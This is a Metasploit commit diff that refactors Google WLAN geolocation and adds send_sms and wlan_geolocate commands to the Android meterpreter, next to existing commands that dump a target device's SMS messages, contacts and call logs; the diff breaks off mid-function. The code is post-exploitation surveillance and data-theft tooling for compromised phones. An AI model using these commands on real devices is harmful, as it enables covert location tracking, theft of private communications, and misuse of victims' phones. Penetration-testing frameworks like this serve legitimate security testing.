Land #5748, refactor google geolocate, add wlan_geolocate and send_sms to android meterpreter
commit
5dd015150c
|
@ -9,7 +9,7 @@ PATH
|
|||
json
|
||||
metasploit-concern (= 1.0.0)
|
||||
metasploit-model (= 1.0.0)
|
||||
metasploit-payloads (= 1.0.7)
|
||||
metasploit-payloads (= 1.0.8)
|
||||
msgpack
|
||||
nokogiri
|
||||
packetfu (= 1.1.9)
|
||||
|
@ -123,7 +123,7 @@ GEM
|
|||
activemodel (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
railties (>= 4.0.9, < 4.1.0)
|
||||
metasploit-payloads (1.0.7)
|
||||
metasploit-payloads (1.0.8)
|
||||
metasploit_data_models (1.2.5)
|
||||
activerecord (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
|
|
|
@ -743,7 +743,8 @@ def stdapi_sys_process_close(request, response):
|
|||
if not proc_h_id:
|
||||
return ERROR_SUCCESS, response
|
||||
proc_h_id = proc_h_id['value']
|
||||
del meterpreter.processes[proc_h_id]
|
||||
if meterpreter.processes.has_key(proc_h_id):
|
||||
del meterpreter.processes[proc_h_id]
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
|
|
|
@ -169,6 +169,7 @@ module Msf::Post::Common
|
|||
# through /bin/sh, solving all the pesky parsing troubles, without
|
||||
# affecting Windows.
|
||||
#
|
||||
start = Time.now.to_i
|
||||
if args.nil? and cmd =~ /[^a-zA-Z0-9\/._-]/
|
||||
args = ""
|
||||
end
|
||||
|
@ -176,9 +177,17 @@ module Msf::Post::Common
|
|||
session.response_timeout = time_out
|
||||
process = session.sys.process.execute(cmd, args, {'Hidden' => true, 'Channelized' => true})
|
||||
o = ""
|
||||
# Wait up to time_out seconds for the first bytes to arrive
|
||||
while (d = process.channel.read)
|
||||
break if d == ""
|
||||
o << d
|
||||
if d == ""
|
||||
if (Time.now.to_i - start < time_out) && (o == '')
|
||||
sleep 0.1
|
||||
else
|
||||
break
|
||||
end
|
||||
else
|
||||
o << d
|
||||
end
|
||||
end
|
||||
o.chomp! if o
|
||||
|
||||
|
|
|
@ -0,0 +1,68 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
require 'net/http'
|
||||
require 'json'
|
||||
|
||||
module Rex
|
||||
module Google
|
||||
# @example
|
||||
# g = Rex::Google::Geolocation.new
|
||||
# g.add_wlan("00:11:22:33:44:55", "example", -80)
|
||||
# g.fetch!
|
||||
# puts g, g.google_maps_url
|
||||
class Geolocation
|
||||
GOOGLE_API_URI = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true&"
|
||||
|
||||
attr_accessor :accuracy
|
||||
attr_accessor :latitude
|
||||
attr_accessor :longitude
|
||||
|
||||
def initialize
|
||||
@uri = URI.parse(URI.encode(GOOGLE_API_URI))
|
||||
@wlan_list = []
|
||||
end
|
||||
|
||||
# Ask Google's Maps API for the location of a given set of BSSIDs (MAC
|
||||
# addresses of access points), ESSIDs (AP names), and signal strengths.
|
||||
def fetch!
|
||||
@uri.query << @wlan_list.take(10).join("&wifi=")
|
||||
request = Net::HTTP::Get.new(@uri.request_uri)
|
||||
http = Net::HTTP.new(@uri.host, @uri.port)
|
||||
http.use_ssl = true
|
||||
response = http.request(request)
|
||||
|
||||
if response && response.code == '200'
|
||||
results = JSON.parse(response.body)
|
||||
self.latitude = results["location"]["lat"]
|
||||
self.longitude = results["location"]["lng"]
|
||||
self.accuracy = results["accuracy"]
|
||||
else
|
||||
msg = "Failure connecting to Google for location lookup."
|
||||
msg += " Code #{response.code} for query #{@uri}" if response
|
||||
fail msg
|
||||
end
|
||||
end
|
||||
|
||||
# Add an AP to the list to send to Google when {#fetch!} is called.
|
||||
#
|
||||
# Turns out Google's API doesn't really care about ESSID or signal strength
|
||||
# as long as you have BSSIDs. Presumably adding them will make it more
|
||||
# accurate? Who knows.
|
||||
#
|
||||
# @param mac [String] in the form "00:11:22:33:44:55"
|
||||
# @param ssid [String] ESSID associated with the mac
|
||||
# @param signal_strength [String] a thing like
|
||||
def add_wlan(mac, ssid = nil, signal_strength = nil)
|
||||
@wlan_list.push(URI.encode("mac:#{mac.upcase}|ssid:#{ssid}|ss=#{signal_strength.to_i}"))
|
||||
end
|
||||
|
||||
def google_maps_url
|
||||
"https://maps.google.com/?q=#{latitude},#{longitude}"
|
||||
end
|
||||
|
||||
def to_s
|
||||
"Google indicates the device is within #{accuracy} meters of #{latitude},#{longitude}."
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -5,21 +5,16 @@ require 'rex/post/meterpreter/packet'
|
|||
require 'rex/post/meterpreter/client'
|
||||
require 'rex/post/meterpreter/channels/pools/stream_pool'
|
||||
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module Meterpreter
|
||||
module Extensions
|
||||
module Android
|
||||
|
||||
###
|
||||
# Android extension - set of commands to be executed on android devices.
|
||||
# extension by Anwar Mohamed (@anwarelmakrahy)
|
||||
###
|
||||
|
||||
|
||||
class Android < Extension
|
||||
|
||||
def initialize(client)
|
||||
super(client, 'android')
|
||||
|
||||
|
@ -30,88 +25,77 @@ class Android < Extension
|
|||
{
|
||||
'name' => 'android',
|
||||
'ext' => self
|
||||
},
|
||||
}
|
||||
])
|
||||
end
|
||||
|
||||
|
||||
def device_shutdown(n)
|
||||
request = Packet.create_request('device_shutdown')
|
||||
request.add_tlv(TLV_TYPE_SHUTDOWN_TIMER, n)
|
||||
response = client.send_request(request)
|
||||
return response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value
|
||||
end
|
||||
|
||||
response.get_tlv(TLV_TYPE_SHUTDOWN_OK).value
|
||||
end
|
||||
|
||||
def dump_sms
|
||||
sms = Array.new
|
||||
sms = []
|
||||
request = Packet.create_request('dump_sms')
|
||||
response = client.send_request(request)
|
||||
|
||||
response.each( TLV_TYPE_SMS_GROUP ) { |p|
|
||||
|
||||
sms <<
|
||||
{
|
||||
response.each(TLV_TYPE_SMS_GROUP) do |p|
|
||||
sms << {
|
||||
'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_TYPE).value),
|
||||
'address' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_ADDRESS).value),
|
||||
'body' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_BODY).value).squish,
|
||||
'status' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_STATUS).value),
|
||||
'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_SMS_DATE).value)
|
||||
}
|
||||
|
||||
}
|
||||
return sms
|
||||
end
|
||||
sms
|
||||
end
|
||||
|
||||
def dump_contacts
|
||||
contacts = Array.new
|
||||
contacts = []
|
||||
request = Packet.create_request('dump_contacts')
|
||||
response = client.send_request(request)
|
||||
|
||||
response.each( TLV_TYPE_CONTACT_GROUP ) { |p|
|
||||
|
||||
contacts <<
|
||||
{
|
||||
response.each(TLV_TYPE_CONTACT_GROUP) do |p|
|
||||
contacts << {
|
||||
'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CONTACT_NAME).value),
|
||||
'email' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_EMAIL)),
|
||||
'number' => client.unicode_filter_encode(p.get_tlv_values(TLV_TYPE_CONTACT_NUMBER))
|
||||
}
|
||||
|
||||
}
|
||||
return contacts
|
||||
end
|
||||
contacts
|
||||
end
|
||||
|
||||
def geolocate
|
||||
|
||||
loc = Array.new
|
||||
loc = []
|
||||
request = Packet.create_request('geolocate')
|
||||
response = client.send_request(request)
|
||||
|
||||
loc <<
|
||||
{
|
||||
loc << {
|
||||
'lat' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LAT).value),
|
||||
'long' => client.unicode_filter_encode(response.get_tlv(TLV_TYPE_GEO_LONG).value)
|
||||
}
|
||||
|
||||
return loc
|
||||
loc
|
||||
end
|
||||
|
||||
def dump_calllog
|
||||
log = Array.new
|
||||
log = []
|
||||
request = Packet.create_request('dump_calllog')
|
||||
response = client.send_request(request)
|
||||
|
||||
response.each(TLV_TYPE_CALLLOG_GROUP) { |p|
|
||||
|
||||
log <<
|
||||
{
|
||||
response.each(TLV_TYPE_CALLLOG_GROUP) do |p|
|
||||
log << {
|
||||
'name' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NAME).value),
|
||||
'number' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_NUMBER).value),
|
||||
'date' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DATE).value),
|
||||
'duration' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_DURATION).value),
|
||||
'type' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_CALLLOG_TYPE).value)
|
||||
}
|
||||
|
||||
}
|
||||
return log
|
||||
end
|
||||
log
|
||||
end
|
||||
|
||||
def check_root
|
||||
|
@ -119,8 +103,38 @@ class Android < Extension
|
|||
response = client.send_request(request)
|
||||
response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value
|
||||
end
|
||||
end
|
||||
|
||||
def send_sms(dest, body, dr)
|
||||
request = Packet.create_request('send_sms')
|
||||
request.add_tlv(TLV_TYPE_SMS_ADDRESS, dest)
|
||||
request.add_tlv(TLV_TYPE_SMS_BODY, body)
|
||||
request.add_tlv(TLV_TYPE_SMS_DR, dr)
|
||||
if dr == false
|
||||
response = client.send_request(request)
|
||||
sr = response.get_tlv(TLV_TYPE_SMS_SR).value
|
||||
return sr
|
||||
else
|
||||
response = client.send_request(request, 30)
|
||||
sr = response.get_tlv(TLV_TYPE_SMS_SR).value
|
||||
dr = response.get_tlv(TLV_TYPE_SMS_SR).value
|
||||
return [sr, dr]
|
||||
end
|
||||
end
|
||||
|
||||
def wlan_geolocate
|
||||
request = Packet.create_request('wlan_geolocate')
|
||||
response = client.send_request(request, 30)
|
||||
networks = []
|
||||
response.each(TLV_TYPE_WLAN_GROUP) do |p|
|
||||
networks << {
|
||||
'ssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_SSID).value),
|
||||
'bssid' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_BSSID).value),
|
||||
'level' => client.unicode_filter_encode(p.get_tlv(TLV_TYPE_WLAN_LEVEL).value)
|
||||
}
|
||||
end
|
||||
networks
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -33,6 +33,15 @@ TLV_TYPE_CHECK_ROOT_BOOL = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9019)
|
|||
|
||||
TLV_TYPE_SHUTDOWN_TIMER = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9020)
|
||||
|
||||
TLV_TYPE_SMS_SR = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9021)
|
||||
|
||||
TLV_TYPE_WLAN_GROUP = TLV_META_TYPE_GROUP | (TLV_EXTENSIONS + 9022)
|
||||
TLV_TYPE_WLAN_BSSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9023)
|
||||
TLV_TYPE_WLAN_SSID = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9024)
|
||||
TLV_TYPE_WLAN_LEVEL = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9025)
|
||||
|
||||
TLV_TYPE_SMS_DR = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9026)
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1,17 +1,16 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/post/meterpreter'
|
||||
require 'msf/core/auxiliary/report'
|
||||
require 'rex/google/geolocation'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module Meterpreter
|
||||
module Ui
|
||||
|
||||
###
|
||||
# Android extension - set of commands to be executed on android devices.
|
||||
# extension by Anwar Mohamed (@anwarelmakrahy)
|
||||
###
|
||||
|
||||
class Console::CommandDispatcher::Android
|
||||
include Console::CommandDispatcher
|
||||
include Msf::Auxiliary::Report
|
||||
|
@ -26,7 +25,9 @@ class Console::CommandDispatcher::Android
|
|||
'geolocate' => 'Get current lat-long using geolocation',
|
||||
'dump_calllog' => 'Get call log',
|
||||
'check_root' => 'Check if device is rooted',
|
||||
'device_shutdown' => 'Shutdown device'
|
||||
'device_shutdown' => 'Shutdown device',
|
||||
'send_sms' => 'Sends SMS from target session',
|
||||
'wlan_geolocate' => 'Get current lat-long using WLAN information'
|
||||
}
|
||||
|
||||
reqs = {
|
||||
|
@ -35,24 +36,25 @@ class Console::CommandDispatcher::Android
|
|||
'geolocate' => [ 'geolocate' ],
|
||||
'dump_calllog' => [ 'dump_calllog' ],
|
||||
'check_root' => [ 'check_root' ],
|
||||
'device_shutdown' => [ 'device_shutdown']
|
||||
'device_shutdown' => [ 'device_shutdown'],
|
||||
'send_sms' => [ 'send_sms' ],
|
||||
'wlan_geolocate' => [ 'wlan_geolocate' ]
|
||||
}
|
||||
|
||||
# Ensure any requirements of the command are met
|
||||
all.delete_if do |cmd, desc|
|
||||
reqs[cmd].any? { |req| not client.commands.include?(req) }
|
||||
all.delete_if do |cmd, _desc|
|
||||
reqs[cmd].any? { |req| !client.commands.include?(req) }
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_device_shutdown(*args)
|
||||
|
||||
seconds = 0
|
||||
device_shutdown_opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-t' => [ false, 'Shutdown after n seconds']
|
||||
)
|
||||
|
||||
device_shutdown_opts.parse(args) { | opt, idx, val |
|
||||
device_shutdown_opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line('Usage: device_shutdown [options]')
|
||||
|
@ -62,26 +64,25 @@ class Console::CommandDispatcher::Android
|
|||
when '-t'
|
||||
seconds = val.to_i
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
res = client.android.device_shutdown(seconds)
|
||||
|
||||
if res
|
||||
print_status("Device will shutdown #{seconds > 0 ?('after ' + seconds + ' seconds'):'now'}")
|
||||
print_status("Device will shutdown #{seconds > 0 ? ('after ' + seconds + ' seconds') : 'now'}")
|
||||
else
|
||||
print_error('Device shutdown failed')
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_dump_sms(*args)
|
||||
|
||||
def cmd_dump_sms(*args)
|
||||
path = "sms_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
|
||||
dump_sms_opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-o' => [ false, 'Output path for sms list']
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-o' => [ false, 'Output path for sms list']
|
||||
)
|
||||
|
||||
dump_sms_opts.parse(args) { | opt, idx, val |
|
||||
dump_sms_opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line('Usage: dump_sms [options]')
|
||||
|
@ -91,19 +92,18 @@ class Console::CommandDispatcher::Android
|
|||
when '-o'
|
||||
path = val
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
smsList = []
|
||||
smsList = client.android.dump_sms
|
||||
sms_list = client.android.dump_sms
|
||||
|
||||
if smsList.count > 0
|
||||
print_status("Fetching #{smsList.count} sms #{smsList.count == 1? 'message': 'messages'}")
|
||||
if sms_list.count > 0
|
||||
print_status("Fetching #{sms_list.count} sms #{sms_list.count == 1 ? 'message' : 'messages'}")
|
||||
begin
|
||||
info = client.sys.config.sysinfo
|
||||
|
||||
data = ""
|
||||
data << "\n=====================\n"
|
||||
data << "[+] Sms messages dump\n"
|
||||
data << "[+] SMS messages dump\n"
|
||||
data << "=====================\n\n"
|
||||
|
||||
time = Time.new
|
||||
|
@ -112,8 +112,7 @@ class Console::CommandDispatcher::Android
|
|||
data << "Remote IP: #{client.sock.peerhost}\n"
|
||||
data << "Remote Port: #{client.sock.peerport}\n\n"
|
||||
|
||||
smsList.each_with_index { |a, index|
|
||||
|
||||
sms_list.each_with_index do |a, index|
|
||||
data << "##{index.to_i + 1}\n"
|
||||
|
||||
type = 'Unknown'
|
||||
|
@ -147,14 +146,14 @@ class Console::CommandDispatcher::Android
|
|||
data << "Address\t: #{a['address']}\n"
|
||||
data << "Status\t: #{status}\n"
|
||||
data << "Message\t: #{a['body']}\n\n"
|
||||
}
|
||||
end
|
||||
|
||||
::File.write(path, data)
|
||||
print_status("Sms #{smsList.count == 1? 'message': 'messages'} saved to: #{path}")
|
||||
print_status("SMS #{sms_list.count == 1 ? 'message' : 'messages'} saved to: #{path}")
|
||||
|
||||
return true
|
||||
rescue
|
||||
print_error("Error getting messages: #{$!}")
|
||||
print_error("Error getting messages: #{$ERROR_INFO}")
|
||||
return false
|
||||
end
|
||||
else
|
||||
|
@ -163,18 +162,15 @@ class Console::CommandDispatcher::Android
|
|||
end
|
||||
end
|
||||
|
||||
|
||||
def cmd_dump_contacts(*args)
|
||||
|
||||
path = "contacts_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
|
||||
dump_contacts_opts = Rex::Parser::Arguments.new(
|
||||
|
||||
dump_contacts_opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-o' => [ false, 'Output path for contacts list']
|
||||
|
||||
)
|
||||
|
||||
dump_contacts_opts.parse(args) { | opt, idx, val |
|
||||
dump_contacts_opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line('Usage: dump_contacts [options]')
|
||||
|
@ -184,13 +180,12 @@ class Console::CommandDispatcher::Android
|
|||
when '-o'
|
||||
path = val
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
contactList = []
|
||||
contactList = client.android.dump_contacts
|
||||
contact_list = client.android.dump_contacts
|
||||
|
||||
if contactList.count > 0
|
||||
print_status("Fetching #{contactList.count} #{contactList.count == 1? 'contact': 'contacts'} into list")
|
||||
if contact_list.count > 0
|
||||
print_status("Fetching #{contact_list.count} #{contact_list.count == 1 ? 'contact' : 'contacts'} into list")
|
||||
begin
|
||||
info = client.sys.config.sysinfo
|
||||
|
||||
|
@ -205,32 +200,28 @@ class Console::CommandDispatcher::Android
|
|||
data << "Remote IP: #{client.sock.peerhost}\n"
|
||||
data << "Remote Port: #{client.sock.peerport}\n\n"
|
||||
|
||||
contactList.each_with_index { |c, index|
|
||||
contact_list.each_with_index do |c, index|
|
||||
|
||||
data << "##{index.to_i + 1}\n"
|
||||
data << "Name\t: #{c['name']}\n"
|
||||
|
||||
if c['number'].count > 0
|
||||
(c['number']).each { |n|
|
||||
data << "Number\t: #{n}\n"
|
||||
}
|
||||
c['number'].each do |n|
|
||||
data << "Number\t: #{n}\n"
|
||||
end
|
||||
|
||||
if c['email'].count > 0
|
||||
(c['email']).each { |n|
|
||||
data << "Email\t: #{n}\n"
|
||||
}
|
||||
c['email'].each do |n|
|
||||
data << "Email\t: #{n}\n"
|
||||
end
|
||||
|
||||
data << "\n"
|
||||
}
|
||||
|
||||
end
|
||||
|
||||
::File.write(path, data)
|
||||
print_status("Contacts list saved to: #{path}")
|
||||
|
||||
return true
|
||||
rescue
|
||||
print_error("Error getting contacts list: #{$!}")
|
||||
print_error("Error getting contacts list: #{$ERROR_INFO}")
|
||||
return false
|
||||
end
|
||||
else
|
||||
|
@ -243,13 +234,11 @@ class Console::CommandDispatcher::Android
|
|||
|
||||
generate_map = false
|
||||
geolocate_opts = Rex::Parser::Arguments.new(
|
||||
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-g' => [ false, 'Generate map using google-maps']
|
||||
|
||||
)
|
||||
|
||||
geolocate_opts.parse(args) { | opt, idx, val |
|
||||
geolocate_opts.parse(args) do |opt, _idx, _val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line('Usage: geolocate [options]')
|
||||
|
@ -259,7 +248,7 @@ class Console::CommandDispatcher::Android
|
|||
when '-g'
|
||||
generate_map = true
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
geo = client.android.geolocate
|
||||
|
||||
|
@ -278,7 +267,6 @@ class Console::CommandDispatcher::Android
|
|||
end
|
||||
|
||||
def cmd_dump_calllog(*args)
|
||||
|
||||
path = "calllog_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
|
||||
dump_calllog_opts = Rex::Parser::Arguments.new(
|
||||
|
||||
|
@ -287,7 +275,7 @@ class Console::CommandDispatcher::Android
|
|||
|
||||
)
|
||||
|
||||
dump_calllog_opts.parse(args) { | opt, idx, val |
|
||||
dump_calllog_opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line('Usage: dump_calllog [options]')
|
||||
|
@ -297,12 +285,12 @@ class Console::CommandDispatcher::Android
|
|||
when '-o'
|
||||
path = val
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
log = client.android.dump_calllog
|
||||
|
||||
if log.count > 0
|
||||
print_status("Fetching #{log.count} #{log.count == 1? 'entry': 'entries'}")
|
||||
print_status("Fetching #{log.count} #{log.count == 1 ? 'entry' : 'entries'}")
|
||||
begin
|
||||
info = client.sys.config.sysinfo
|
||||
|
||||
|
@ -317,23 +305,21 @@ class Console::CommandDispatcher::Android
|
|||
data << "Remote IP: #{client.sock.peerhost}\n"
|
||||
data << "Remote Port: #{client.sock.peerport}\n\n"
|
||||
|
||||
log.each_with_index { |a, index|
|
||||
|
||||
log.each_with_index do |a, index|
|
||||
data << "##{index.to_i + 1}\n"
|
||||
|
||||
data << "Number\t: #{a['number']}\n"
|
||||
data << "Name\t: #{a['name']}\n"
|
||||
data << "Date\t: #{a['date']}\n"
|
||||
data << "Type\t: #{a['type']}\n"
|
||||
data << "Duration: #{a['duration']}\n\n"
|
||||
}
|
||||
end
|
||||
|
||||
::File.write(path, data)
|
||||
print_status("Call log saved to #{path}")
|
||||
|
||||
return true
|
||||
rescue
|
||||
print_error("Error getting call log: #{$!}")
|
||||
print_error("Error getting call log: #{$ERROR_INFO}")
|
||||
return false
|
||||
end
|
||||
else
|
||||
|
@ -342,14 +328,13 @@ class Console::CommandDispatcher::Android
|
|||
end
|
||||
end
|
||||
|
||||
|
||||
def cmd_check_root(*args)
|
||||
|
||||
check_root_opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ]
|
||||
)
|
||||
|
||||
check_root_opts.parse(args) { | opt, idx, val |
|
||||
check_root_opts.parse(args) do |opt, _idx, _val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line('Usage: check_root [options]')
|
||||
|
@ -357,26 +342,123 @@ class Console::CommandDispatcher::Android
|
|||
print_line(check_root_opts.usage)
|
||||
return
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
is_rooted = client.android.check_root
|
||||
|
||||
if is_rooted
|
||||
print_good('Device is rooted')
|
||||
elsif
|
||||
else
|
||||
print_status('Device is not rooted')
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_send_sms(*args)
|
||||
send_sms_opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ],
|
||||
'-d' => [ true, 'Destination number' ],
|
||||
'-t' => [ true, 'SMS body text' ],
|
||||
'-dr' => [ false, 'Wait for delivery report' ]
|
||||
)
|
||||
|
||||
dest = ''
|
||||
body = ''
|
||||
dr = false
|
||||
|
||||
send_sms_opts.parse(args) do |opt, _idx, val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line('Usage: send_sms -d <number> -t <sms body>')
|
||||
print_line('Sends SMS messages to specified number.')
|
||||
print_line(send_sms_opts.usage)
|
||||
return
|
||||
when '-d'
|
||||
dest = val
|
||||
when '-t'
|
||||
body = val
|
||||
when '-dr'
|
||||
dr = true
|
||||
end
|
||||
end
|
||||
|
||||
if dest.blank? || body.blank?
|
||||
print_error("You must enter both a destination address -d and the SMS text body -t")
|
||||
print_error('e.g. send_sms -d +351961234567 -t "GREETINGS PROFESSOR FALKEN."')
|
||||
print_line(send_sms_opts.usage)
|
||||
return
|
||||
end
|
||||
|
||||
sent = client.android.send_sms(dest, body, dr)
|
||||
if dr
|
||||
if sent[0] == "Transmission successful"
|
||||
print_good("SMS sent - #{sent[0]}")
|
||||
else
|
||||
print_error("SMS send failed - #{sent[0]}")
|
||||
end
|
||||
if sent[1] == "Transmission successful"
|
||||
print_good("SMS delivered - #{sent[1]}")
|
||||
else
|
||||
print_error("SMS delivery failed - #{sent[1]}")
|
||||
end
|
||||
else
|
||||
if sent == "Transmission successful"
|
||||
print_good("SMS sent - #{sent}")
|
||||
else
|
||||
print_error("SMS send failed - #{sent}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_wlan_geolocate(*args)
|
||||
wlan_geolocate_opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help Banner' ]
|
||||
)
|
||||
|
||||
wlan_geolocate_opts.parse(args) do |opt, _idx, _val|
|
||||
case opt
|
||||
when '-h'
|
||||
print_line('Usage: wlan_geolocate')
|
||||
print_line('Tries to get device geolocation from WLAN information and Google\'s API')
|
||||
print_line(wlan_geolocate_opts.usage)
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
log = client.android.wlan_geolocate
|
||||
wlan_list = []
|
||||
log.each do |x|
|
||||
mac = x['bssid']
|
||||
ssid = x['ssid']
|
||||
ss = x['level']
|
||||
wlan_list << [mac, ssid, ss.to_s]
|
||||
end
|
||||
|
||||
if wlan_list.blank?
|
||||
print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.")
|
||||
return
|
||||
end
|
||||
g = Rex::Google::Geolocation.new
|
||||
|
||||
wlan_list.each do |wlan|
|
||||
g.add_wlan(*wlan)
|
||||
end
|
||||
begin
|
||||
g.fetch!
|
||||
rescue RuntimeError => e
|
||||
print_error("Error: #{e}")
|
||||
else
|
||||
print_status(g.to_s)
|
||||
print_status("Google Maps URL: #{g.google_maps_url}")
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Name for this dispatcher
|
||||
#
|
||||
def name
|
||||
'Android'
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -61,7 +61,7 @@ Gem::Specification.new do |spec|
|
|||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model', '1.0.0'
|
||||
# Needed for Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.0.7'
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.0.8'
|
||||
# Needed by msfgui and other rpc components
|
||||
spec.add_runtime_dependency 'msgpack'
|
||||
# Needed by anemone crawler
|
||||
|
|
|
@ -5,8 +5,7 @@
|
|||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'json'
|
||||
require 'net/http'
|
||||
require 'rex/google/geolocation'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
|
||||
|
@ -40,78 +39,68 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
|
||||
def parse_wireless_win(listing)
|
||||
wlan_list = ''
|
||||
wlan_list = []
|
||||
raw_networks = listing.split("\r\n\r\n")
|
||||
|
||||
raw_networks.each { |network|
|
||||
raw_networks.each do |network|
|
||||
details = network.match(/^SSID [\d]+ : ([^\r\n]*).*?BSSID 1[\s]+: ([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}).*?Signal[\s]+: ([\d]{1,3})%/m)
|
||||
if !details.nil?
|
||||
strength = get_strength(details[3])
|
||||
network_data = "&wifi=mac:#{details[2].to_s.upcase}|ssid:#{details[1].to_s}|ss=#{strength.to_i}"
|
||||
wlan_list << network_data
|
||||
end
|
||||
}
|
||||
if !details.nil?
|
||||
strength = get_strength(details[3])
|
||||
wlan_list << [ details[2], details[1], strength ]
|
||||
end
|
||||
end
|
||||
|
||||
return wlan_list
|
||||
end
|
||||
|
||||
|
||||
def parse_wireless_linux(listing)
|
||||
wlan_list = ''
|
||||
wlan_list = []
|
||||
raw_networks = listing.split("Cell ")
|
||||
|
||||
raw_networks.each { |network|
|
||||
raw_networks.each do |network|
|
||||
details = network.match(/^[\d]{1,4} - Address: ([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}).*?Signal level=([\d-]{1,3}).*?ESSID:"([^"]*)/m)
|
||||
if !details.nil?
|
||||
network_data = "&wifi=mac:#{details[1].to_s.upcase}|ssid:#{details[3].to_s}|ss=#{details[2].to_i}"
|
||||
wlan_list << network_data
|
||||
end
|
||||
}
|
||||
if !details.nil?
|
||||
wlan_list << [ details[1], details[3], details[2] ]
|
||||
end
|
||||
end
|
||||
|
||||
return wlan_list
|
||||
end
|
||||
|
||||
def parse_wireless_osx(listing)
|
||||
wlan_list = ''
|
||||
wlan_list = []
|
||||
raw_networks = listing.split("\n")
|
||||
|
||||
raw_networks.each { |network|
|
||||
raw_networks.each do |network|
|
||||
network = network.strip
|
||||
details = network.match(/^(.*(?!\h\h:))[\s]*([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2})[\s]*([\d-]{1,3})/)
|
||||
if !details.nil?
|
||||
network_data = "&wifi=mac:#{details[2].to_s.upcase}|ssid:#{details[1].to_s}|ss=#{details[3].to_i}"
|
||||
wlan_list << network_data
|
||||
end
|
||||
}
|
||||
if !details.nil?
|
||||
wlan_list << [ details[2], details[1], details[3] ]
|
||||
end
|
||||
end
|
||||
|
||||
return wlan_list
|
||||
end
|
||||
|
||||
def perform_geolocation(wlan_list)
|
||||
|
||||
if wlan_list.blank?
|
